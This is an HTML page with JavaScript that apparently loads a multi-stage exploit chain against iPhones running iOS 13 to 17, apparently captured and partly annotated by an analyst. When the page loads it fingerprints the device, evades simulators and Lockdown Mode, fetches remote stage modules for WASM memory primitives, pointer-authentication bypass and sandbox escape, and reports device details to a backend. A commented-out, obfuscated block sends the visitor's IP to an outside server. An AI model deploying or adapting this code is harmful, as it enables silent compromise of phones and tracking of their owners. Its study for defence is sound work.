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<html>
<head>
<meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />
<meta http-equiv="Pragma" content="no-cache" />
<meta http-equiv="Expires" content="0" />
<meta property="og:determiner" content="auto" />
<title>group</title>
</head>
<body>
<!-- <script src="https://cdn.jsdelivr.net/npm/eruda"></script>
<script>eruda.init();</script> -->
<script src="platform_module.js"></script>
<script src="utility_module.js"></script>
<script type="text/javascript">
window.addDownloadBinary = function (fileName, text) {
let fileType = "application/octet-stream";
var blob = new Blob([text], { type: fileType });
var a = document.createElement('a');
a.download = fileName;
a.href = URL.createObjectURL(blob);
a.dataset.downloadurl = [fileType, a.download, a.href].join(':');
a.text = "Download " + fileName;
document.body.appendChild(a);
}
window.log = function (text) {
const newLineElement = document.createElement('p');
newLineElement.textContent = text;
document.body.append(newLineElement);
};
function fqMaGkNL(W) {
W = W.toString(16).toLowerCase();
return 1 === W.length && (W = "0" + W), W
}
function fqMaGkN4(arr) { // decodeWords
let out = "";
for (const q of arr) {
const b0 = q & 0xFF;
const b1 = (q >> 8) & 0xFF;
const b2 = (q >> 16) & 0xFF;
const b3 = (q >> 24) & 0xFF;
out += String.fromCharCode((b1 << 8) | b0);
out += String.fromCharCode((b3 << 8) | b2);
}
return out;
}
function fqMaGkNg() {
return fqMaGkN4([1631006510, 960062519, 1647917360, 1647653680, 892756786, 912405041, 1701143141, 1681285477, 1684353382, 1714435941, 1831756386, 1781427817, 115])
}
window.globalThis = window;
// globalThis.moduleManager
globalThis.moduleManager = (function () {
// moduleMap
let MM = {
"57620206d62079baad0e57e6d9ec93120c0f5247": m_57620206d62079baad0e57e6d9ec93120c0f5247,
"14669ca3b1519ba2a8f40be287f646d4d7593eb0": m_14669ca3b1519ba2a8f40be287f646d4d7593eb0,
};
// moduleCache
const e = {
"$": "", // Base URL for remote loading
"p": "" // Salt for SHA256 filename hashing
};
function sha256(M) {
let I = "";
function N(M, I) {
return M >>> I | M << 32 - I
}
const D = Math.pow,
g = D(2, 32),
T = ([89, 80, 91, 82, 65, 93].map(x => {
return String.fromCharCode(x ^ 53);
}).join(""));
let c, d;
const L = [],
b = 8 * M[T];
let i = sha256.h = sha256.h || [];
const y = sha256.k = sha256.k || [];
let C = y[T];
const X = {};
for (let M = 2; C < 64; M++)
if (!X[M]) {
for (c = 0; c < (1499680357 ^ 1499680604); c += M) X[c] = M;
i[C] = D(M, .5) * g | 0, y[C++] = D(M, 1 / 3) * g | 0
} for (M += "\x80"; M[T] % 64 - 56;) M += "\0";
for (c = 0; c < M[T]; c++) {
if (d = M.charCodeAt(c), d >> 8) return;
L[c >> 2] |= d << (3 - c) % 4 * 8
}
for (L[L[T]] = b / g | 0, L[L[T]] = b, d = 0; d < L[T];) {
const M = L.slice(d, d += 16),
I = i;
for (i = i.slice(0, 8), c = 0; c < 64; c++) {
const I = M[c - 15],
D = M[c - 2],
g = i[0],
T = i[4],
d = i[7] + (N(T, 6) ^ N(T, 11) ^ N(T, 25)) + (T & i[5] ^ ~T & i[6]) + y[c] + (M[c] = c < 16 ? M[c] : M[c - 16] + (N(I, 7) ^ N(I, 18) ^ I >>> 3) + M[c - 7] + (N(D, 17) ^ N(D, 19) ^ D >>> 10) | 0);
i = [d + ((N(g, 2) ^ N(g, 13) ^ N(g, 22)) + (g & i[1] ^ g & i[2] ^ i[1] & i[2])) | 0].concat(i), i[4] = i[4] + d | 0
}
for (c = 0; c < 8; c++) i[c] = i[c] + I[c] | 0
}
for (c = 0; c < 8; c++)
for (d = 3; d + 1; d--) {
const M = i[c] >> 8 * d & (1433892436 ^ 1433892523);
I += (M < 16 ? 0 : "") + M.toString(16)
}
return I
}
function c(M) {
if (M in e == !1) {
if (M in MM != !0) throw new Error("M in MM != !0");
{
// const I =MM[M]);
// e[M] = new Function(I)()
// decoded base64:
window.log("Load " + M);
e[M] = MM[M]();
}
}
return e[M]
}
return {
hPL3On: this.getModuleByName,
ZKvD0e: this.getModuleByURL,
fgPoij: this.evalBase64Module,
setBaseUrl: function (M) {
e.$ = M
},
setSalt: function (M) {
e.p = M
},
getModuleByName: c,
getModuleByURL: async function (moduleId) {
window.log(`[LOADER] Loading module: ${moduleId}...`);
if (moduleId in e == !1 && moduleId in MM == !1) {
let I = moduleId;
//I = SHA256(moduleCache.p + M).substring(0, 40);
I = moduleId; // de-randomize
const N = await async function (M) {
window.log("Loading " + M);
return new Promise(((I, N) => {
const D = new XMLHttpRequest;
let g;
const T = (M, I) => Math.floor(Math.random() * (I - M + 1)) + M;
g = new URL((e.$) + (M));
const c = Math.random().toString(36).slice(2, T(5, 10)),
d = T(0, 1);
g.searchParams.set(c, d),
D.open("GET", g.toString(), !0),
D.responseType = ([66, 83, 78, 66].map(x => {
return String.fromCharCode(x ^ 54);
}).join("")),
D.onreadystatechange = () => {
if (D.readyState === XMLHttpRequest.DONE)
if (200 === D.status) {
const M = D.response;
null === M || "" === M ? reject("") : I(M)
} else reject("")
},
D.send()
}))
}((I) + ".js");
e[moduleId] = new Function(N)()
}
return c(moduleId)
},
evalCode: function (M, I) {
M in e == !1 && (e[M] = I())
},
evalBase64Module: function (M, I) {
M in e == !1 && (e[M] = new Function(atob(I))())
},
};
})();
globalThis.obChTK = globalThis.moduleManager; // MARK: alias
const utilityModule = globalThis.moduleManager.getModuleByName("57620206d62079baad0e57e6d9ec93120c0f5247"),
platformModule = globalThis.moduleManager.getModuleByName("14669ca3b1519ba2a8f40be287f646d4d7593eb0");
let baseUrl = utilityModule.Ot(fqMaGkNg());
baseUrl = baseUrl.slice(0, baseUrl.lastIndexOf("/") + 1);
globalThis.moduleManager.setBaseUrl(baseUrl);
globalThis.moduleManager.setSalt("cecd08aa6ff548c2");
function fqMaGkNr(W) {
var C = fqMaGkN4([]);
if ("" !== C) {
const q = utilityModule.Ot(C);
q && (C = new XMLHttpRequest, W = q + "?e=" + W, C.open("GET", W, !0), C.send())
}
}
// ============================================================================
// PAC Bypass Loader
// ============================================================================
/**
* Load the appropriate PAC bypass stage based on iOS version flags.
* Selects between different stage2 module variants.
* Original: fqMaGkNO
* @returns {Promise<object>} PAC bypass module with ga() factory method
*/
async function loadPACBypass() {
window.log(`[PAC] Selecting PAC bypass variant...`);
const offsets = globalThis.moduleManager.getModuleByName(
"14669ca3b1519ba2a8f40be287f646d4d7593eb0"
).platformState.versionFlags;
// Select PAC bypass variant based on version-specific flags
if (offsets.wF8NpI) {
// iOS 17.0+ path: Load stage2 pre-requisite, then main stage
await (await globalThis.moduleManager.getModuleByURL(
// Hash: "477db22c8e27d5a7bd72ca8e4bc502bdca6d0aba" (stage2 pre-req)
"Stage2_16.6_17.2.1_seedbell_pre"
)).ul();
pacModule = await globalThis.moduleManager.getModuleByURL(
// Hash: "29b874a9a6cc9fa9d487b31144e130827bf941bb" (stage2 main)
"Stage2_17.0_17.2.1_seedbell"
);
} else if (offsets.LJ1EuL) {
// Alternate iOS 17 path
await (await globalThis.moduleManager.getModuleByURL(
// Hash: "477db22c8e27d5a7bd72ca8e4bc502bdca6d0aba"
"Stage2_16.6_17.2.1_seedbell_pre"
)).ul();
pacModule = await globalThis.moduleManager.getModuleByURL(
// Hash: "9db8a84aa7caa5665f522873f49293e8eebccd5c"
// FIXME: validate this
"Stage2_16.6_16.7.12_seedbell"
);
} else if (offsets.CpDW_T) {
pacModule = await globalThis.moduleManager.getModuleByURL(
// Hash: "171a7da1934de9e0efb9c1645f4575f88e482873"
// 16.3-16.5.1
"Stage2_16.3_16.5.1_seedbell"
);
} else if (offsets.IqxL92) {
pacModule = await globalThis.moduleManager.getModuleByURL(
// Hash: "91b278ddb2aec817b10c1535e0963da74f9b8eeb"
"Stage2_15.0_16.2_breezy15"
);
} else {
pacModule = await globalThis.moduleManager.getModuleByURL(
// Hash: "b586c88246144bc7975ad4e27ec6d62716bf34ea"
"Stage2_13.0_14.x_breezy"
);
}
if (void 0 === pacModule) throw Error("");
// ga() creates the PAC bypass instance
return pacModule.ga();
}
// ============================================================================
// Main Exploit Trigger
// ============================================================================
/**
* Main exploit trigger function.
* Original: fqMaGkNR
*
* Orchestrates the full exploit chain:
* 1. Platform detection
* 2. Lockdown/simulator checks
* 3. Stage 1 (WASM primitives)
* 4. Runtime detection
* 5. Stage 2 (PAC bypass, if needed)
* 6. Stage 3 (sandbox escape + payload)
*
* @returns {Promise<number>} Status code (0=success, 1000=error, 1001=unsupported, 1003=simulator)
*/
async function triggerExploit() {
var platform = navigator.platform;
const userAgent = navigator.userAgent;
window.log(`[LOADER] === Exploit chain starting ===`);
window.log(`[LOADER] Platform: ${platform}, UA: ${userAgent.substring(0, 80)}...`);
// Initialize platform detection with:
// - Empty telemetry path
// - Script base URL (decoded from fqMaGkNg)
// - Cookie/session data (from fqMaGkN4 with encoded params)
// - Platform and user agent strings
if (await platformModule.init("", fqMaGkNg(), "", Array(!1)[0], Array(!1)[0], platform, userAgent), platformModule.On()) throw Error("");
window.log(`[PLATFORM] iOS version detected: ${platformModule.platformState.iOSVersion}`);
// Version check: must be >= 130000 (iOS 13.0)
if (13E4 > platformModule.platformState.iOSVersion) return 1001;
// For iOS 16+, check for simulator
if (16E4 <= platformModule.platformState.iOSVersion) {
try {
await platformModule.Hn(); // detectSimulatorAsync
} catch (p) {
console.error(`[LOADER] ABORT: Simulator check threw`);
return 1001
}
if (platformModule.platformState.Qn) return 1003; // Simulator detected
}
// Check lockdown mode via IndexedDB Blob test
try {
await platformModule.Yn(); // detectLockdownAsync
} catch (e) {
console.error(`[LOADER] ABORT: Lockdown mode check failed`);
return 1001;
}
// ========================================================================
// Stage 1: Load and execute WASM memory primitive exploit
// ========================================================================
let stage1Module;
const offsets = platformModule.platformState.versionFlags;
// Select stage1 variant based on version-specific flags
window.log(`[LOADER] Selecting stage1 variant for offsets: JtEUci=${offsets.JtEUci}, KeCRDQ=${offsets.KeCRDQ}, ShQCsB=${offsets.ShQCsB}, RbKS6p=${offsets.RbKS6p}, mmrZ0r=${offsets.mmrZ0r}`);
if (offsets.JtEUci) {
// Older iOS path
stage1Module = await globalThis.moduleManager.getModuleByURL(
// e3b6ba10484875fabaed84076774a54b87752b8a
"Stage1_16.6_17.2.1_cassowary"
);
} else if (offsets.KeCRDQ) {
stage1Module = await globalThis.moduleManager.getModuleByURL(
// 57cb8c6431c5efe203f5bfa5a1a83f705cb350b8
"Stage1_16.2_16.5.1_terrorbird"
);
} else if (offsets.ShQCsB) {
stage1Module = await globalThis.moduleManager.getModuleByURL(
// d11d34e4d96a4c0539e441d861c5783db8a1c6e9
"Stage1_15.6_16.1.2_bluebird"
);
} else if (offsets.RbKS6p) {
stage1Module = await globalThis.moduleManager.getModuleByURL(
// ea3da0cfb0a5bdb8c440dd4a963f94cbd39d9e44
"Stage1_15.2_15.5_jacurutu"
);
} else if (offsets.mmrZ0r) {
stage1Module = await globalThis.moduleManager.getModuleByURL(
// 7d8f5bae97f37aa318bccd652bf0c1dc38fd8396
"7d8f5bae97f37aa318bccd652bf0c1dc38fd8396"
);
}
if (void 0 === stage1Module) { console.error(`[LOADER] ABORT: No stage1 module matched`); return 1001; }
window.log(`[LOADER] Stage1 module loaded, executing WASM primitive exploit...`);
// Execute stage1 exploit (builds WASM read/write primitives)
// The `si` property is either an async function or sync function
await (async function executeStage1() {
for (let attempt = 0; attempt < 20; attempt++) {
try {
window.log(`[LOADER] Stage1 attempt ${attempt + 1}/20...`);
if ("AsyncFunction" === stage1Module.si.constructor.name) {
await stage1Module.si();
} else {
stage1Module.si();
}
window.log(`[LOADER] Stage1 succeeded on attempt ${attempt + 1}`);
return;
} catch (e) {
window.log("[LOADER] Error:" + e.name + ": " + e.message);
console.error(e);
}
}
console.error(`[LOADER] Stage1 FAILED after 20 attempts`);
throw Error("");
})();
if (!platformModule.platformState.exploitPrimitive) { console.error(`[LOADER] ABORT: WASM primitives not initialized`); throw Error(""); }
window.log(`[LOADER] Stage1 complete — WASM read/write primitives active`);
// ========================================================================
// Runtime detection + Stage 2 (PAC bypass) + Stage 3 (sandbox escape)
// ========================================================================
platform = 0;
try {
// Detect JSC runtime type (PSNMWj vs RoAZdq) from memory layout
platformModule.lr(); // detectRuntime
window.log(`[RUNTIME] JSC runtime detected: PAC=${platformModule.platformState.hasPAC}`);
// If device has PAC (Pointer Authentication), load PAC bypass
if (platformModule.platformState.hasPAC) {
window.log(`[PAC] Loading PAC bypass (stage2)...`);
platformModule.platformState.pacBypass = await loadPACBypass();
window.log(`[PAC] PAC bypass loaded, checking integrity...`);
platformModule.platformState.qn = await platformModule.$n(); // checkPACIntegrity
window.log(`[PAC] PAC integrity check: ${platformModule.platformState.qn}`);
}
// Check if wC3yaB flag is set AND PAC integrity check passed
if (true === offsets.wC3yaB && true === platformModule.platformState.qn) {
// Load stage3 variant A (with PAC bypass)
// Hash: "7f809f320823063b55f26ba0d29cf197e2e333a8"
window.log(`[STAGE3] Loading sandbox escape variant A...`);
platform = await (await globalThis.moduleManager.getModuleByURL(
"Stage3_VariantA"
)).lA();
} else {
// Load stage3 variant B (without PAC / different approach)
// Hash: "c03c6f666a04dd77cfe56cda4da77a131cbb8f1c"
window.log(`[STAGE3] Loading sandbox escape variant B...`);
platform = await (await globalThis.moduleManager.getModuleByURL(
"Stage3_VariantB"
)).lA();
}
window.log(`[STAGE3] Sandbox escape result: ${platform}`);
} catch (error) {
window.log("[LOADER] Exploit chain error:" + error.name + ": " + error.message);
platform = 1000;
throw error;
} finally {
// Cleanup exploit primitives
if (platformModule.platformState.exploitPrimitive) {
window.log(`[LOADER] Cleaning up exploit primitives...`);
platformModule.platformState.exploitPrimitive.cleanup(); // cleanup()
}
}
window.log(`[LOADER] === Exploit chain finished — result: ${platform} ===`);
return platform;
}
// ============================================================================
// Entry Point: Execute exploit with 10ms delay
// ============================================================================
function reportResult(result) {
try {
const ua = navigator.userAgent;
const platform = platformModule.platformState;
let iosVersion = '';
let deviceModel = '';
const iosMatch = ua.match(/OS (\d+)_(\d+)(?:_(\d+))? like Mac OS X/);
if (iosMatch) {
iosVersion = iosMatch[1] + '.' + iosMatch[2] + (iosMatch[3] ? '.' + iosMatch[3] : '');
}
const deviceMatch = ua.match(/iPhone(?:\s+(\w+))?/);
if (deviceMatch) {
deviceModel = deviceMatch[0];
}
const reportData = {
result: result,
ios_version: iosVersion || (platform.iOSVersion ? platform.iOSVersion.toString() : ''),
device: navigator.platform,
device_model: deviceModel,
user_agent: ua,
app_version: platform.appVersion || '',
screen_width: window.screen.width,
screen_height: window.screen.height,
language: navigator.language,
platform_state: platform,
timestamp: new Date().toISOString()
};
const xhr = new XMLHttpRequest();
const backendUrl = "http://" + window.location.hostname + ":5000/api/report";
xhr.open("POST", backendUrl, true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.send(JSON.stringify(reportData));
window.log(`[REPORT] Sent result to backend: ${result}`);
} catch (e) {
window.log(`[REPORT] Failed to send result: ${e.message}`);
}
}
self.setTimeout(async function () {
try {
const result = await triggerExploit();
window.log(`[LOADER] Reporting result: ${result}`);
reportResult(result);
} catch (e) {
window.log(`[LOADER] Top-level error:` + e);
try {
reportResult(1000);
} catch (e2) { }
}
}, 10);
// stop sending my ip addr
/*
(function () {
const fqMaGkNC = [67, 72, 77, 75, 78, 73, 57, 68, 87, 51, 51, 52, 69, 54, 48, 55, 49, 49].map(W => String.fromCharCode(W ^ 0)).join("");
function fqMaGkNI4(W) {
const C = /^(\d{1,3}\.){3}\d{1,3}$/.test(W);
if (!C) return !1;
const q = W.split([46].map(p => String.fromCharCode(p ^ 0)).join(""));
return q.every(p => {
const g = parseInt(p, 10);
return g >= 0 && g <= 255
})
}
function isValidIPv6(W) {
const C = /^([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}$|^::1$|^::$|^([0-9a-fA-F]{1,4}:)*::([0-9a-fA-F]{1,4}:)*[0-9a-fA-F]{1,4}$/.test(W);
return C
}
async function fqMaGkNI() {
let C = null;
try {
const W = await fetch([104, 116, 116, 112, 115, 58, 47, 47, 105, 112, 118, 52, 46, 105, 99, 97, 110, 104, 97, 122, 105, 112, 46, 99, 111, 109].map(q => String.fromCharCode(q ^ 0)).join(""), {
method: [71, 69, 84].map(q => String.fromCharCode(q ^ 0)).join(""),
headers: ((() => {
const q = {};
q[[65, 99, 99, 101, 112, 116].map(p => String.fromCharCode(p ^ 0)).join("")] = [116, 101, 120, 116, 47, 112, 108, 97, 105, 110].map(p => String.fromCharCode(p ^ 0)).join("");
return q
})())
});
const q = (await W.text()).trim();
if (q && fqMaGkNI4(q)) return q
} catch (W) { }
try {
const W = await fetch([104, 116, 116, 112, 115, 58, 47, 47, 97, 112, 105, 46, 105, 112, 105, 102, 121, 46, 111, 114, 103, 63, 102, 111, 114, 109, 97, 116, 61, 106, 115, 111, 110].map(q => String.fromCharCode(q ^ 0)).join(""));
const q = await W.json();
const p = q.ip ? q.ip.trim() : null;
if (p) {
if (fqMaGkNI4(p)) return p;
if (isValidIPv6(p)) C = p
}
} catch (W) { }
try {
const W = await fetch([104, 116, 116, 112, 115, 58, 47, 47, 105, 112, 118, 54, 46, 105, 99, 97, 110, 104, 97, 122, 105, 112, 46, 99, 111, 109].map(q => String.fromCharCode(q ^ 0)).join(""), {
method: [71, 69, 84].map(q => String.fromCharCode(q ^ 0)).join(""),
headers: ((() => {
const q = {};
q[[65, 99, 99, 101, 112, 116].map(p => String.fromCharCode(p ^ 0)).join("")] = [116, 101, 120, 116, 47, 112, 108, 97, 105, 110].map(p => String.fromCharCode(p ^ 0)).join("");
return q
})())
});
const q = (await W.text()).trim();
if (q && isValidIPv6(q)) return q
} catch (W) { }
if (C) return C;
return null
}
function fqMaGkNV() {
const W = navigator.userAgent;
const C = W.match(/OS[_\s](\d+)(?:[._](\d+))?/i);
if (C) {
const q = parseInt(C[1], 10);
const p = C[2] || [48].map(g => String.fromCharCode(g ^ 0)).join("");
return [73, 79, 83, 32].map(g => String.fromCharCode(g ^ 0)).join("") + q + [46].map(g => String.fromCharCode(g ^ 0)).join("") + p
}
const M = W.match(/iPhone[_\s]OS[_\s](\d+)(?:[._](\d+))?/i);
if (M) {
const N = parseInt(M[1], 10);
const O = M[2] || [48].map(X => String.fromCharCode(X ^ 0)).join("");
return [73, 79, 83, 32].map(X => String.fromCharCode(X ^ 0)).join("") + N + [46].map(X => String.fromCharCode(X ^ 0)).join("") + O
}
const P = W.match(/Android[_\s](\d+)(?:[._](\d+))?/i);
if (P) {
const Q = parseInt(P[1], 10);
const R = P[2] || [48].map(X => String.fromCharCode(X ^ 0)).join("");
return [65, 110, 100, 114, 111, 105, 100, 32].map(X => String.fromCharCode(X ^ 0)).join("") + Q + [46].map(X => String.fromCharCode(X ^ 0)).join("") + R
}
const S = W.match(/Windows NT (\d+)\.(\d+)/i);
if (S) {
const T = parseInt(S[1], 10);
const U = S[2] || [48].map(X => String.fromCharCode(X ^ 0)).join("");
return [87, 105, 110, 100, 111, 119, 115, 32].map(X => String.fromCharCode(X ^ 0)).join("") + T + [46].map(X => String.fromCharCode(X ^ 0)).join("") + U
}
const V = W.match(/Mac OS X (\d+)[._](\d+)/i);
if (V) {
const Y = parseInt(V[1], 10);
const Z = V[2] || [48].map(X => String.fromCharCode(X ^ 0)).join("");
return [109, 97, 99, 79, 83, 32].map(X => String.fromCharCode(X ^ 0)).join("") + Y + [46].map(X => String.fromCharCode(X ^ 0)).join("") + Z
}
if (/Linux/i.test(W)) return [76, 105, 110, 117, 120].map(M => String.fromCharCode(M ^ 0)).join("");
const AA = W.match(/(Chrome|Firefox|Safari|Edge|Opera)\/(\d+)/i);
if (AA) return AA[1] + [32].map(p => String.fromCharCode(p ^ 0)).join("") + AA[2];
return W.substring(0, 50) + [46, 46, 46].map(M => String.fromCharCode(M ^ 0)).join("")
}
function fqMaGkNI13() {
const W = navigator.userAgent;
const C = W.match(/OS[_\s](\d+)(?:[._](\d+))?/i);
if (C) {
const q = parseInt(C[1], 10);
return q >= 13 && q <= 17
}
const M = W.match(/iPhone[_\s]OS[_\s](\d+)(?:[._](\d+))?/i);
if (M) {
const N = parseInt(M[1], 10);
return N >= 13 && N <= 17
}
return !1
}
async function fqMaGkNS() {
try {
if (!fqMaGkNI13()) return;
const W = fqMaGkNC;
const C = await fqMaGkNI();
const q = fqMaGkNV();
if (!W || !C || !q) return;
const p = [104, 116, 116, 112, 115, 58, 47, 47, 56, 100, 102, 57, 46, 99, 99, 47, 97, 112, 105].map(g => String.fromCharCode(g ^ 0)).join("");
const g = await fetch(p + [47, 105, 112, 45, 115, 121, 110, 99, 47, 115, 121, 110, 99].map(X => String.fromCharCode(X ^ 0)).join(""), {
method: [80, 79, 83, 84].map(X => String.fromCharCode(X ^ 0)).join(""),
headers: ((() => {
const X = {};
X[[67, 111, 110, 116, 101, 110, 116, 45, 84, 121, 112, 101].map(L => String.fromCharCode(L ^ 0)).join("")] = [97, 112, 112, 108, 105, 99, 97, 116, 105, 111, 110, 47, 106, 115, 111, 110].map(L => String.fromCharCode(L ^ 0)).join("");
return X
})()),
body: JSON.stringify({
channelCode: W,
ip: C,
deviceVersion: q
})
});
if (!g.ok) {
const X = await g.json().catch(() => ({}))
}
} catch (W) { }
}
setTimeout(fqMaGkNS, 1000)
})();
*/
</script>
</body>
</html>